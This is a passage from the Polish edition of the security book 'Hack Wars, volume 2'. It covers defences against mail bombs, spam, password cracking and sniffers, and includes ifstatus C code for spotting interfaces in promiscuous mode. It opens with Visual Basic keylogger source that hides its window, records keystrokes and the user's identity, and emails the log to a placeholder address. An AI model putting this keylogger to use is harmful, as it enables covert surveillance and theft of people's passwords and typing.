If (keystate And &H1) = &H1 Then
Text1 = Text1 + "-"
End If

keystate = Getasynckeystate(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Del}"
End If

keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F1}"
End If

keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F2}"
End If

keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F3}"
End If

keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F4}"
End If

keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F5}"
End If

keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F6}"
End If

keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F7}"
End If

keystate = Getasynckeystate(vbKeyF8)

background image


188

Hack Wars. Tom 2. Na tropie hakerów

188

If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F8}"
End If

keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F9}"
End If

keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F10}"
End If

keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F11}"
End If

keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F12}"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Visible = True
End If

keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{NumLock}"
End If

keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{ScrollLock}"
End If

keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{PrintScreen}"
End If

keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{PageUp}"
End If

keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Pagedown}"
End If

keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "1"
End If

keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "2"
End If

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

189

189


keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "3"
End If

keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "4"
End If

keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "5"
End If

keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "6"
End If

keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "7"
End If

keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "8"
End If

keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "9"
End If

keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "0"
End If

End Sub

Private Sub Timer2_Timer()
Dim lfilesize As Long, txtlog As String, success As Integer
Dim from As String, name As String
Open logfile For Append As #1
Write #1, Text1
Close #1
Text1.Text = ""
lfilesize = FileLen(logfile)
If lfilesize >= 4000 Then
Text2 = ""
inform
Open logfile For Input As #1
While Not EOF(1)
Input #1, txtlog
DoEvents
Text2 = Text2 & vbCrLf & txtlog
Wend
Close #1
txtstatus = ""
Call StartWinsock("")

background image


190

Hack Wars. Tom 2. Na tropie hakerów

190

success = smtp("mail.smtpserver.net", "25",

"ktos@serwer_poczty.com", "ktos@serwer_poczty.com", "log file",
"Tigerlog",
"ktos@serwer_poczty.com", "l o g f i l e", Text2)

'wysyła zawarto

ść

dziennika do ktos@serwer_poczty.com

If success = 1 Then
Kill logfile
End If
Call closesocket(mysock)
End If
End Sub

Public Sub FormOntop(FormName As Form)
Call SetWindowPos(FormName.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&,

flags)

End Sub

Function GetCaption(WindowHandle As Long) As String

Dim Buffer As String, TextLength As Long

TextLength& = GetWindowTextLength(WindowHandle&)

Buffer$ = String(TextLength&, 0&)

Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)

GetCaption$ = Buffer$
End Function

Sub inform()
Dim szUser As String * 255
Dim vers As String * 255
Dim lang, lReturn, comp As Long
Dim s, x As Long
lReturn = GetUserName(szUser, 255)
comp = GetComputerName(vers, 1024)
Text2 = "Username- " & szUser
Text2 = Text2 & vbCrLf & "Computer Name- " & vers

End Sub

Pokazane w tym rozdziale programy i towarzyszące pliki modułów są dostępne na dołą-
czonym do tej książki CD-ROM-ie.

Ochrona przed bombardowaniem poczty
i spamowaniem

Poczta elektroniczna stała się w ostatnich latach gwiazdą komunikacji technologicz-
nej zarówno w sektorze prywatnym, jak i korporacyjnym. Z tą popularnością jest jed-
nak związany fakt, iż im więcej ludzi korzysta z e-maila, tym więcej ofiar różnorod-
nych ataków hakerów. Stanie się ofiarą bomby pocztowej lub spamu stało się
praktycznie rytuałem inicjacyjnym wszystkich użytkowników poczty. Na szczęście
istnieją środki zaradcze zapobiegające zarówno niewinnym, jak i bardzo złośliwym
atakom. W tej części przyjrzymy się dokładnie różnym zabezpieczeniom — od technik
zespołu Tiger Team do ochrony serwera. Zaczniemy jednak od dokładnego sklasyfiko-
wania bomby pocztowej i spamu.









Bomby pocztowe to wiadomości elektroniczne, które są zwykle używane
do zablokowania skrzynki pocztowej odbiorcy przez wysłanie niepożądanej
poczty przy użyciu bramy SMTP odbiorcy. Bomby pocztowe mogą przybrać

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

191

191

formę jednego e-maila z ogromnym załącznikiem lub tysięcy wiadomości
elektronicznych, które mają na celu przepełnienie skrzynki pocztowej i serwera.









Spamowanie to próba doręczenia wiadomości elektronicznej do osoby, która
nie chciała jej otrzymać i nie prosiła o jej dostarczenie. Najbardziej typowym
przykładem jest rozsyłanie reklam. Inną formą spamu jest oszustwo, kiedy to
napastnik podaje w polu From (Od) wiadomości adres pocztowy innej osoby,
a następnie wysyła masowo e-maile, prosząc o odpowiedź na adres ofiary.
Takie oszustwo może przybrać jeszcze bardziej zaawansowaną formę, gdy
haker wyśle takie fałszywe wiadomości przy użyciu serwera pocztowego ofiary.

Z perspektywy użytkownika najlepiej widocznym świadectwem spamu są nagłówki wia-
domości, które zawierają rzeczywistą trasę e-maila od nadawcy do odbiorcy (patrz rysu-
nek 2.9). Domyślnie te informacje są zwykle ukryte; większość odbiorców chce widzieć
tylko temat i treść wiadomości. Praktycznie wszystkie programy pocztowe oferują jednak
opcję podglądu pełnych nagłówków wiadomości, co pokazano na rysunku 2.10.

Rysunek 2.9.
Widoczne
w nagłówkach
e-maila informacje
o trasie wiadomo
ści

Rysunek 2.10.
Wybór opcji
pokazuj
ącej pełne
nagłówki wiadomo
ści
w programach
pocztowych Pegasus
i Microsoft Outlook

Ś

ledząc autoryzowaną i pożądaną pocztę, możemy szybko odfiltrować wiadomości,

które są prawdopodobnie spamem lub oszustwem. Dla przykładu przyjrzyjmy się na-

background image


192

Hack Wars. Tom 2. Na tropie hakerów

192

główkom pokazanym na rysunku 2.9 — ta wiadomość może być zweryfikowana ja-
ko pożądana, ponieważ dane wskazują, iż adresy sender@saddress.com i receiver@
raddress.com
zostały uwierzytelnione i przekazane przez serwery poczty smtp.local–
domain.com
i smtp-1.saddress.com. Przyjmijmy jednak, iż nadawca sender@saddress.
com
rozsyła spam lub niepożądane wiadomości. Możliwe jest szybkie odfiltrowanie tego
adresu przy użyciu filtrów dostępnych w większości obecnych programów pocztowych
(patrz rysunek 2.11). Niektóre z nich, a w szczególności te wykorzystujące frontony
WWW, oferują automatyczną funkcję blokowania prostym kliknięciem. Przykładem są
opcje Yahoo (mail.yahoo.com) pokazane na rysunku 2.12. Na witrynach TuCows
(www.tucows.com) i C|Net (download.cnet.com) znajdziemy wiele programów antyspa-
mowych, gotowych do pobrania, które są zgodne z wieloma platformami.

Jednakże zablokowanie spamera może nie wystarczyć. Być może zdecydujesz się na
całkowite zatrzymanie jego działań, wysłając informację do jego dostawcy usług in-
ternetowych. Zbadanie nagłówków i zawartości wiadomości może dostarczyć infor-
macji, jak tego dokonać. Dla przykładu wykonanie funkcji Whois przez odpowiednią
stronę internetową lub prześledzenie trasy do bramy SMTP spamera może pomóc
w zebraniu informacji o dostawcy Internetu. Uzbrojeni w kopię takiej wiadomości
oraz zebrane informacje o dostawcy możemy zgłosić incydent. Poniższa lista interne-
towych usług pomoże Ci w trakcie krucjaty przeciwko spamerom:

IDENTYFIKACJA SPAMERA:

http://www.anywho.com
http://www.yellowpages.com
http://www.555-1212.com
http://www.databaseamerica.com
http://www.infospace.com/info/reverse.htm
http://www.theultimates.com/white
http://inter800.com
http://canada411.sympatico.ca
http://www.phonenumbers.net

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

193

193

Rysunek 2.11.
Zastosowanie filtra
do zablokowania
spamera w programie
Pegasus

Rysunek 2.12.
Wiele klientów poczty
wykorzystuj
ących
przegl
ądarki ma
proste mechanizmy
blokowania przez
wskazanie i klikni
ęcie

Ś

LEDZENIE SPAMERA:

http://samspade.org
http://www.thegrid.net/jabberwock/spam
http://combat.uxn.com
http://Network-Tools.com
http://www.domainwatch.com
http://www.rwhois.net
http://www.networksolutions.com
http://net.yahoo.com/cgi-bin/trace.sh
http://www.tsc.com/bobp-bin/traceroute
http://www.multitrace.com
http://www.va.pubnix.com/bin/tc

ZGŁASZANIE INCYDENTU:

http://www.abuse.net
http://spamcom.net

background image


194

Hack Wars. Tom 2. Na tropie hakerów

194

ZASOBY:

Grupy dyskusyjne USENET:

news.admin.net-abuse.bulletins
news.admin.net-abuse.email
news.admin.net-abuse.misc
news.admin.net-abuse.policy
news.admin.net-abuse.sightings
news.admin.net-abuse.usenet
pl.news.mordplik

W przypadku serwera zalecana jest modyfikacja kontaktowych skrzynek pocztowych,
których adresy znajdują się na witrynie WWW, polegająca na utworzeniu ogólnych
kont dla niepożądanej poczty. Może to spowodować redukcję spamu otrzymywanego
przez wewnętrznych użytkowników za pomocą odfiltrowania wiadomości z publicz-
nych skrzynek pocztowych. Ale ochrona przed niepożądaną pocztą i spamem to tylko
początek. Na szczęście większość obecnych demonów serwerów poczty zawiera funk-
cję ochrony przed bombami pocztowymi. Szczegóły dotyczące odpowiedniej konfi-
guracji można znaleźć w podręczniku użytkownika programu. Te informacje będą
obejmowały aspekty konfiguracji wymienione niżej.









Uwierzytelnianie — demon powinien być skonfigurowany na akceptację
tylko lokalnej lub wewnętrznej poczty do przekazywania poczty SMTP.









Blokowanie — zaawansowane filtrowanie umożliwia podanie wiadomości,
które mają być zablokowane dla kont; demon powinien pozwalać
użytkownikom na podanie różnych kryteriów dla wiadomości.









Sprawdzanie — demon powinien być skonfigurowany na akceptację
załączników o ograniczonej wielkości.









Sortowanie — użytkownicy powinni mieć możliwość podania zasad
sortowania swojej poczty; dla przykładu wiadomości z domeny firmy
powinny być przesyłane do służbowej skrzynki pocztowej.

Jednym z narzędzi, zaprojektowanych przede wszystkim do usuwania bomb poczto-
wych z serwera, jest BombSquad (patrz rysunek 2.13). To narzędzie umożliwia
usuwanie bomb pocztowych, odczytując i zapisując ważne wiadomości. Można je wy-
korzystać w skrzynkach pocztowych obsługujących standardowy protokół POP3. Wię-
cej informacji na temat tych środków zabezpieczających można znaleźć w biuletynie in-
formacyjnym CIAC na stronie http://ciac.llnl.gov/ciac/

Ochrona przed łamaniem haseł

Większość programów dla użytkowników, aplikacji udostępniających dane użytkowni-
kom i paneli administracyjnych udostępnia jakąś formę uwierzytelniania przy użyciu ha-
sła, a wiele z nich zawiera także użyteczne procedury szyfrowania. W pierwszym tomie
tej książki zbadaliśmy typowy schemat hasła systemu operacyjnego. Dla przypomnienia,

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

195

195

Rysunek 2.13.
Rozbrajanie bomb
pocztowych przy
u
życiu narzędzia
BombSquad

kiedy hasło zostanie wprowadzone, jądro uwierzytelniania komputera szyfruje je i doko-
nuje translacji do ciągu znaków, a następnie porównuje je z listą, która jest po prostu prze-
chowywanym w komputerze plikiem z hasłami. Jeśli moduł uwierzytelniania znajdzie
identyczny ciąg znaków, umożliwia dostęp do systemu. Hakerzy, którzy chcą się włamać
do systemu i uzyskać konkretny typ dostępu, zwykle biorą sobie za cel ten plik z hasłami.
Jeśli uda się im uzyskać pewien poziom dostępu, mogą zdobyć kopię takiego pliku, a na-
stępnie użyć programu do łamania haseł w celu translacji zawartych w pliku znaków
z powrotem do oryginalnych haseł!

Chociaż zastosowanie środków ochronnych przed złamaniem haseł jest relatywnie
mało skomplikowane, jest to jednak jeden ze sposobów zabezpieczeń, o których naj-
częściej się zapomina. Konieczne jest podjęcie niezbędnych kroków w celu ustawie-
nia odpowiednich zabezpieczeń (przy użyciu technik poznanych w tej książce i z in-
nych źródeł), a następnie włączenia haseł wygaszaczy ekranów i programów oraz
mechanizmów obronnych systemu operacyjnego i plików (przechowywanie hasel
systemowych w odrębnej bazie — password shadowing — i szyfrowanie DES lub
Blowfish). Przy użyciu narzędzi, takich jak L0phtCrack (www.l0pht.com), możesz
upewnić się, czy hasła kont nie są zbyt proste do odgadnięcia lub złamania przez ha-
kerów. Regularna kontrola plików haseł może pomóc w odnalezieniu prostych haseł;
pamiętaj, że Twój system jest tylko tak bezpieczny, jak jego najsłabsze ogniwo. Pro-
gramy do łamania haseł, takie jak L0phtCrack, są łatwo dostępne i proste w użyciu,
co pokazano na rysunku 2.14.

Pierwszy tom tej książki zawiera dużą liczbę narzędzi do łamania haseł i liczne pliki
słowników.

Prawdopodobnie bezpiecznie można przyjąć, iż większość czytelników nie musi two-
rzyć niemożliwego do złamania programu z ogromnym szyfrowaniem. Należy jednak
pamiętać, że hasła są tak bezpieczne, jak to zostanie ustawione. Jeśli Twój pies ma na
imię Reks i wiedzą o tym nawet osoby, które znasz bardzo słabo, nie używaj tej nazwy
jako hasła. Nie zapominaj, że istnieją programy badające schematy uwierzytelniania
przy użyciu nazw praktycznie wszystkich obiektów ożywionych i nieożywionych.

background image


196

Hack Wars. Tom 2. Na tropie hakerów

196

Rysunek 2.14.
Okresowe
monitorowanie
plików haseł przy
u
życiu narzędzi
do łamania haseł
typu L0phtCrack
mo
że zredukować
liczb
ę osób
próbuj
ących
włama
ć się
do systemu

Oczywiście przede wszystkim należy dokonać implementacji trudnego do złamania
mechanizmu szyfrowania. Istnieją doskonałe narzędzia komercyjne, darmowe i sha-
reware do szyfrowania zawartości plików i wiadomości e-mailowych. Aby odnaleźć
program odpowiedni dla Ciebie, użyj jakiejś popularnej wyszukiwarki, na przykład
Yahoo (www.yahoo.com), Google (www.google.com) lub Wirtualna Polska (www.wp.pl),
a także odwiedź witrynę z oprogramowaniem — wspominaliśmy już wcześniej o Tu-
Cows (www.tucows.com) i C|Net (download.cnet.com).

Kolejną fazą ochrony przed złamaniem hasła jest zastosowanie własnego schematu ha-
sła, który charakteryzuje się jedną podstawową zasadą — nigdy nie używaj prawdzi-
wego
słowa jako całości lub części nazwy użytkownika i hasła. Zamiast tego należy
korzystać ze znaków o różnej wielkości (małych i dużych liter) wraz z cyframi i znakami
specjalnymi (w zależności od tego, jakie znaki specjalne są obsługiwane). Kolejna
ogólna zasada nakazuje użycie co najmniej ośmiu znaków dla każdej nazwy użytkownika
i hasła. Przykładem dobrej kombinacji jest nazwa J16vNj30 i hasło dg101Ko5.

Posiadanie wielu nazw logowania i haseł jest kolejną skuteczną formą zabezpieczania
haseł, choć sprawia to jeden podstawowy problem — jak zapamiętać te wszystkie
dziwne nazwy i hasła? Oczywiście nie należy ich zapisywać nigdzie, ponieważ mijało-
by się to z celem. Rozwiązaniem może być zastosowanie programu, takiego jak Tiger-
Crypt
, w celu bezpiecznego przechowywania, odczytu i generowania haseł.

TigerCrypt używa 128-bitowego szyfrowania w celu zapewnienia bezpieczeństwa i pry-
watności osobistych haseł. Dołączona do tej książki wersja narzędzia obsługuje wiele
profili użytkowników. Rysunek 2.15 pokazuje, jak prosta jest jego obsługa — należy

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

197

197

z rozwijanej listy wybrać zarejestrowany profil lub utworzyć nowy. W czasie tworze-
nia nowego profilu trzeba pamiętać o wybraniu opcji Remember this user profile, jeśli
chcesz, aby nazwa profilu była dołączona do głównej rozwijanej listy logowania
(patrz rysunek 2.16).

Rysunek 2.15.
Główny ekran
logowania programu
TigerCrypt

Rysunek 2.16.
Tworzenie nowego
u
żytkownika jest
bardzo proste
w programie
TigerCrypt, który
obsługuje wiele
profili

Przy użyciu głównego interfejsu TigerCrypt (patrz rysunek 2.17) możesz dodać lub
usunąć zaszyfrowane konta logowania. Program przechowuje bezpiecznie wiele nazw
logowania, haseł, nazw serwerów i informacji o kontach; są one dostępne tylko po
podaniu hasła danego profilu. Zaszyfrowane dane mogą być również eksportowane
i importowane do plików. Głównym powodem istnienia tej funkcji jest obsługa prze-
mieszczających się użytkowników oraz przyszła zgodność z urządzeniami typu PDA
(cyfrowy asystent osobisty). Aby umożliwić wprowadzenie zalecanej cotygodniowej
zmiany hasła, TigerCrypt zawiera generator losowych haseł w celu natychmiastowego
tworzenia skomplikowanych haseł. Odpowiednia opcja interfejsu umożliwia wybór
długości hasła oraz dostępnych znaków (duże i małe litery, cyfry, klawisze rozszerzo-
ne i symbole), które mają być losowo stosowane (patrz rysunek 2.18).

Wspominaliśmy już w tej książce o ostatniej zasadzie, której należy przestrzegać
w celu zabezpieczenia przed złamaniem hasła, ale warto ją tu przypomnieć — nigdy
nie podawaj nikomu swojej nazwy użytkownika lub hasła. Mówiąc krótko, te dane
powinieneś zabrać ze sobą do grobu.

Ochrona przed podsłuchem

Szperacz (sniffer) to program, który pasywnie przechwytuje i kopiuje cały ruch sie-
ciowy w systemie, serwerze, routerze lub firewallu. „Legalne” szperacze umożliwiają
m.in. monitorowanie sieci i rozwiązywanie problemów. W przeciwieństwie do nich
ukryte szperacze zainstalowane przez hakerów mogą być wyjątkowo niebezpieczne,

background image


198

Hack Wars. Tom 2. Na tropie hakerów

198

Rysunek 2.17.
Nawigacja
w głównym interfejsie
TigerCrypt

Rysunek 2.18.
Generowanie
losowych haseł
w TigerCrypt

ponieważ są trudne do wykrycia. Mogą one przechwytywać poufne dane, informacje
o sieci, a nawet hasła wysyłane otwartym tekstem. Niektóre szperacze, takie jak Jugger-
naut for Linux
, mają możliwość przerywania lub przejęcia sesji Telnetu, wstawiając pakiet
do serwera z oszukanym adresem źródłowym. Od tego momentu może być tylko gorzej.

Najskuteczniejszym i najszybszym zabezpieczeniem przed użyciem szperacza do
podsłuchu sieci lub stacji roboczej jest użycie technik opisanych w tej i innych książ-
kach. Inne środki ochronne obejmują podział sieci na segmenty przy użyciu przełącz-
ników. Techniczna teoria mówi: jeśli każde urządzenie znajduje się we własnym segmen-
cie i domenie rozgłaszania, to szperacz będzie mógł przechwycić informacje tylko
z danej stacji roboczej. Według kolejnej zasady projektowania sieci należy użyć kart
sieciowych, które nie obsługują trybu podsłuchowego (promiscuos mode). Większość
szperaczy opiera swoje działanie na wykorzystaniu takich kart (w trybie podsłuchowym
karta sieciowa nie bierze udziału w komunikacji sieciowej, a tylko kopiuje cały ruch do
celów własnej analizy).

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

199

199

Jednym ze sposobów na stwierdzenie, czy w danym systemie działa szperacz, jest prze-
szukanie systemu operacyjnego przy użyciu określonego polecenia, na przykład
w systemach Unix jest to polecenie ifconfig -a. Jeśli system jest prawidłowo skonfigu-
rowany, komunikat wynikowy poinformuje, czy karta sieciowa znajduje się w trybie
podsłuchowym. Inne dostępne polecenia to narzędzie do wyświetlania aktywnych proce-
sów o nazwie ps, a także program o nazwie Check Promiscuous Mode (CPM), dostęp-
ny na witrynie www.cert.org. Dobrym narzędziem do wykrywania i usuwania ukrytych
procesów (takich jak szperacz) w systemach Windows jest TigerWipe, przedstawiony
w rozdziale 1.

Inny popularny program uniksowy o nazwie ifstatus może być uruchomiony w celu
identyfikacji kart sieciowych, które znajdują się w trybie podsłuchowym, lub usuwa-
nia błędów (debug mode). To narzędzie nie wyświetla zwykle żadnych komunikatów
wynikowych, chyba że odnajdzie karty sieciowe pracujące w niezabezpieczonym try-
bie. Jeśli się to zdarzy, wyświetlony zostanie następujący komunikat:

WARNING: TEST1.TIGER INTERFACE le0 IS IN PROMISCUOS MODE.
WARNING: TEST1.TIGER INTERFACE le1 IS IN DEBUG MODE.

ifstatus.c

#include <sys/param.h>
#include <ctype.h>
#include <stdio.h>

#ifndef MAXHOSTNAMELEN
#define MAXHOSTNAMELEN 64
#endif

char *hostName = NULL;
char *programName = NULL;

int verbose = 0;

main(argc, argv)
char **argv;
int argc;
{
char *p;
char hostNameBuf[MAXHOSTNAMELEN+1];

programName = *argv;
hostName = hostNameBuf;

while (--argc) {
if (**++argv != '-')
usage();

switch (*++*argv) {
case 'v':
verbose++;
break;
default:
usage();
break;
}
}

background image


200

Hack Wars. Tom 2. Na tropie hakerów

200

if (gethostname(hostNameBuf, sizeof(hostNameBuf)) < 0)
fatal("gethostname", NULL);

for (p = hostName; *p != '\0'; p++) {
if (islower(*p))
*p = toupper(*p);
}

checkInterfaces();
exit(0);
}

fatal(s1, s2)
char *s1, *s2;
{
fprintf(stderr, "%s: ", programName);

if (s2 != NULL)
fprintf(stderr, "%s: ", s2);

perror(s1);
exit(1);
}

usage()
{
fprintf(stderr, "U

ż

ycie: %s [-v]\n", programName);

exit(1);
}

ifgeneric.c

#if defined(BSD) || defined(HPUX) || defined(SUNOS4)

#include <sys/param.h>
#include <sys/socket.h>
#ifdef SUNOS4
#include <sys/sockio.h>
#endif
#include <sys/ioctl.h>
#include <net/if.h>
#include <stdio.h>

extern char *hostName;

extern int verbose;

checkInterfaces()
{
int n, s;
char cbuf[1024];
struct ifconf ifc;
struct ifreq ifr, *ifrp;

if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
fatal("socket", NULL);

ifc.ifc_buf = cbuf;
ifc.ifc_len = sizeof(cbuf);

if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0)

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

201

201

fatal("ioctl: SIOCGIFCONF", NULL);

close(s);
ifrp = ifc.ifc_req;

for (n = ifc.ifc_len / sizeof(struct ifreq); n > 0; n--, ifrp++)
{
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
fatal("socket", NULL);

strcpy(ifr.ifr_name, ifrp->ifr_name);

if (ioctl(s, SIOCGIFFLAGS, (char *) &ifr) < 0)
fatal("ioctl: SIOCGIFFLAGS", NULL);

if (verbose) {
printf("Interface %s: flags=0x%x\n", ifr.ifr_name,
ifr.ifr_flags);
}

if (ifr.ifr_flags & IFF_PROMISC) {
printf("WARNING: %s INTERFACE %s IS IN PROMISCUOS
MODE.\n",
hostName, ifr.ifr_name);
}

if (ifr.ifr_flags & IFF_DEBUG) {
printf("WARNING: %s INTERFACE %s IS IN DEBUG MODE.\n",
hostName, ifr.ifr_name);
}

close(s);
}
}
#endif /* BSD || HPUX || SUNOS4 */

if-solaris.c

#if defined(SUNOS5)

#include <sys/param.h>
#include <sys/stream.h>
#include <sys/dditypes.h>
#include <sys/ethernet.h>
#include <nlist.h>
#include <fcntl.h>
#include <stdio.h>
#include <kvm.h>

#include "if-solaris.h"

struct nlist nl[] = {
#define X_IE 0
{ "iedev" },
#define X_LE 1
{ "ledev" },
#define X_QE 2
{ "qeup" },
#define X_HME 3
{ "hmeup" },
#define X_XX 4

background image


202

Hack Wars. Tom 2. Na tropie hakerów

202

{ 0 }
};

extern char *hostName;
extern char *programName;

extern int verbose;

checkInterfaces()
{
kvm_t *kd;

if ((kd = kvm_open(NULL, NULL, NULL, O_RDONLY, programName)) ==
NULL)
fatal("kvm_open", NULL);

if (kvm_nlist(kd, nl) < 0)
fatal("kvm_nlist", NULL);

if (nl[X_IE].n_value != 0)
checkIE(kd);

if (nl[X_LE].n_value != 0)
checkLE(kd);

if (nl[X_QE].n_value != 0)
checkQE(kd);

if (nl[X_HME].n_value != 0)
checkHME(kd);
kvm_close(kd);
}

checkIE(kd)
kvm_t *kd;
{
struct ie ie;
struct dev_info di;
u_long ieaddr, dipaddr;

ieaddr = nl[X_IE].n_value;

do {
if (kvm_read(kd, ieaddr, (char *) &ie, sizeof(struct ie)) < 0)
fatal("kvm_read: ie", NULL);

dipaddr = (u_long) ie.ie_dip;
ieaddr = (u_long) ie.ie_nextp;

if (dipaddr == 0)
continue;

if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct
dev_info))
< 0)
continue;

if (verbose) {
printf("Interface ie%d: flags=0x%x\n",
di.devi_instance, ie.ie_flags);
}

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

203

203


if (ie.ie_flags & IEPROMISC) {
printf("WARNING: %s INTERFACE ie%d IS IN PROMISCUOS
MODE.\n",
hostName, di.devi_instance);
}
} while (ieaddr != 0);
}

checkLE(kd)
kvm_t *kd;
{
struct le le;
struct dev_info di;
u_long leaddr, dipaddr;

leaddr = nl[X_LE].n_value;

do {
if (kvm_read(kd, leaddr, (char *) &le, sizeof(struct le)) <
0)
fatal("kvm_read: le", NULL);

dipaddr = (u_long) le.le_dip;
leaddr = (u_long) le.le_nextp;

if (dipaddr == 0)
continue;

if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct
dev_info)) < 0)
continue;

if (verbose) {
printf("Interface le%d: flags=0x%x\n",
di.devi_instance, le.le_flags);
}

if (le.le_flags & LEPROMISC) {
printf("WARNING: %s INTERFACE le%d IS IN PROMISCUOS
MODE.\n",
hostName, di.devi_instance);
}
} while (leaddr != 0);
}

checkQE(kd)
kvm_t *kd;
{
struct qe qe;
struct dev_info di;
u_long qeaddr, dipaddr;
qeaddr = nl[X_QE].n_value;

do {
if (kvm_read(kd, qeaddr, (char *) &qe, sizeof(struct qe)) <
0)
fatal("kvm_read: qe", NULL);

dipaddr = (u_long) qe.qe_dip;
qeaddr = (u_long) qe.qe_nextp;

background image


204

Hack Wars. Tom 2. Na tropie hakerów

204


if (dipaddr == 0)
continue;

if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct
dev_info)) < 0)
continue;

if (verbose) {
printf("Interface qe%d: flags=0x%x\n",
di.devi_instance, qe.qe_flags);
}

if (qe.qe_flags & QEPROMISC) {
printf("WARNING: %s INTERFACE qe%d IS IN PROMISCUOS
MODE.\n",
hostName, di.devi_instance);
}
} while (qeaddr != 0);
}
checkHME(kd)
kvm_t *kd;
{
struct hme hme;
struct dev_info di;
u_long hmeaddr, dipaddr;
hmeaddr = nl[X_HME].n_value;
do {
if (kvm_read(kd, hmeaddr, (char *) &hme, sizeof(struct hme))
< 0)
fatal("kvm_read: hme", NULL);
dipaddr = (u_long) hme.hme_dip;
hmeaddr = (u_long) hme.hme_nextp;
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct
dev_info)) < 0)
continue;
if (verbose) {
printf("Interface hme%d: flags=0x%x\n",
di.devi_instance, hme.hme_flags);
}
if (hme.hme_flags & HMEPROMISC) {
printf("WARNING: %s INTERFACE hme%d IS IN PROMISCUOS
MODE.\n",
hostName, di.devi_instance);
}
} while (hmeaddr != 0);
}

#endif /* SUNOS5 */

Obecnie administratorzy testują poważne modyfikacje infrastruktury sieciowej, któ-
re obejmują przełączniki, prywatne sieci wirtualne (Virtual Private Network
VPN), a także techniki kryptograficzne. Dzięki implementacji takich rozwiązań in-
formacje używane do logowania oraz transmisja danych mogą być szyfrowane w celu
uniknięcia narażenia się na nieautoryzowane procedury podsłuchu. Skontaktuj się
z producentami urządzeń i poproś o dostarczenie informacji na temat stosowanych
przez nich własnych opcji szyfrowania.

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

205

205

Użytkownicy domowi, korporacyjni i prywatni systemu Windows, którzy chcą wykorzy-
stać szyfrowanie i mieć nad tym procesem całkowitą kontrolę, mogą użyć narzędzia En-
cryptor
, pokazanego na rysunku 2.19, a utworzonego przez STeRoiD. Dzięki niemu moż-
liwe jest kontrolowanie wykorzystywanych technik szyfrowania w celu prostego
zabezpieczenia danych. Kod źródłowy nie jest skomplikowany, dzięki czemu jego mody-
fikacja do prywatnego użytku nie powinna być trudna. Aby zapisać dane do szyfrowania,
użyj listy katalogów po prawej stronie w celu dotarcia do ścieżki, w której chcesz umie-
ś

cić zaszyfrowany plik. W tym momencie wprowadź klucz szyfrowania i kliknij Zapisz.

Aby załadować zaszyfrowany plik, użyj ponownie listy katalogów po prawej stronie
i wybierz właściwy plik (pamiętaj o wpisaniu właściwego klucza szyfrowania), a następ-
nie kliknij Otwórz. Wynik przykładu pokazanego na rysunku 2.19 będzie wyglądał w po-
niższy sposób:

Îg„K¶f<ô

Ą

m*



…e

ĆĂ

ę

Y

ı

iâ˘

ź

-



Š2



tł+#

ı

˝.

ń

X

ą

˝µ]

Ő

ä6

Ę

s

Ů

